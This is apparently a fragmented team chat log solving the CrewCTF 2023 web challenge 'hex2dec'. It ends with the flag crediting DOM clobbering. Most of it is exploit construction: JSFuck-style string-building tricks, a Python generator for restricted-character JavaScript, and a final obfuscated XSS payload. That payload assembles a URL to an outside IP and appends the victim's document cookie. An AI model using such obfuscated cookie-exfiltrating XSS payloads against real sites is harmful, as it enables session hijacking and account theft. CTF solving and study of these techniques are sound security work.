Project Sekai
🔒 CrewCTF 2023 / ✅-web-hex2dec
<b>ABCD this works<SCRIPT SRC=> work?
(([] == {})+[])[2]+({} + [][0])[1]+({} + [][0])[5]+(([] == {})+[])[1]+({} + [][0])[6]+({} + [][0])[20]+({} + [][0])[1]+({} + [][0])[16]
( in there (edited)(([] == {})+[])[2]+({} + [][0])[1]+({} + [][0])[5]+(([] == {})+[])[1]+({} + [][0])[6]+({} + [][0])[20]+({} + [][0])[1]+({} + [][0])[16] <IMG ONLOAD=>, right? because a <script> tag placed after page load won't be run(([] == {})+[]) to gen false string, we can do [[[]==[]]+[]]<IMG ONLOAD=>, right? because a <script> tag placed after page load won't be run 
javascript lolrmap = {}
# uppercase
r = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdef:?"
for i, c in enumerate(r):
if c not in rmap:
rmap[c] = f"`{c}`"
r = "=;"
for i, c in enumerate(r):
if c not in rmap:
rmap[c] = c
r = "false"
for i, c in enumerate(r):
if c not in rmap:
rmap[c] = "[[[]==[]]+[]][0][%d]" % (i)
r = "[object JSON]undefined"
for i, c in enumerate(r):
if c not in rmap:
rmap[c] = "[JSON+[][1]][0][%d]" % (i)
r = "http://hex2dec-web.chal.crewc.tf:8084/"
for i, c in enumerate(r):
if c not in rmap:
rmap[c] = "a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][%d]" % (i)
target = "d=a[parentNode][parentNode][parentNode][parentNode];;;; d[location] = http:/ip:9000?a=" # d[cookie]
target = "http://ip:9000?a="
target = "baseURI"
target = "parentNode"
target = "location"
target = "http://lol.de"
s = ""
for i in target:
if i not in rmap:
raise Exception("not in rmap: ", i)
else:
s += rmap[i] + "+"
print(s)a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][0]+[JSON+[][1]][0][6]+[JSON+[][1]][0][6]+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][3]+`:`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][5]+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][5]+`8`+`7`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][18]+`1`+`5`+`5`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][18]+`1`+`6`+`8`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][18]+`2`+`4`+`6`+`:`+`9`+`0`+`0`+`1`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][5]+`:`+`a` + `b` + a[a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][3]+`a`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][25]+`e`+[JSON+[][1]][0][14]+[JSON+[][1]][0][6]+`N`+[JSON+[][1]][0][1]+`d`+`e`][a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][3]+`a`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][25]+`e`+[JSON+[][1]][0][14]+[JSON+[][1]][0][6]+`N`+[JSON+[][1]][0][1]+`d`+`e`][a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][3]+`a`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][25]+`e`+[JSON+[][1]][0][14]+[JSON+[][1]][0][6]+`N`+[JSON+[][1]][0][1]+`d`+`e`][a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][3]+`a`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][25]+`e`+[JSON+[][1]][0][14]+[JSON+[][1]][0][6]+`N`+[JSON+[][1]][0][1]+`d`+`e`][a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][3]+`a`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][25]+`e`+[JSON+[][1]][0][14]+[JSON+[][1]][0][6]+`N`+[JSON+[][1]][0][1]+`d`+`e`][`c`+[JSON+[][1]][0][1]+[JSON+[][1]][0][1]+e[[JSON+[][1]][0][1]+[JSON+[][1]][0][13]+[JSON+[][1]][0][6]+`e`+a[`b`+`a`+[[[]==[]]+[]][0][3]+`e`+`U`+`R`+`I`][25]+`H`+`T`+`M`+`L`][1]+[JSON+[][1]][0][18]+`e`]crew{dom_clobbering_is_helpful_for_a_restricted_xss} where dom clubbering
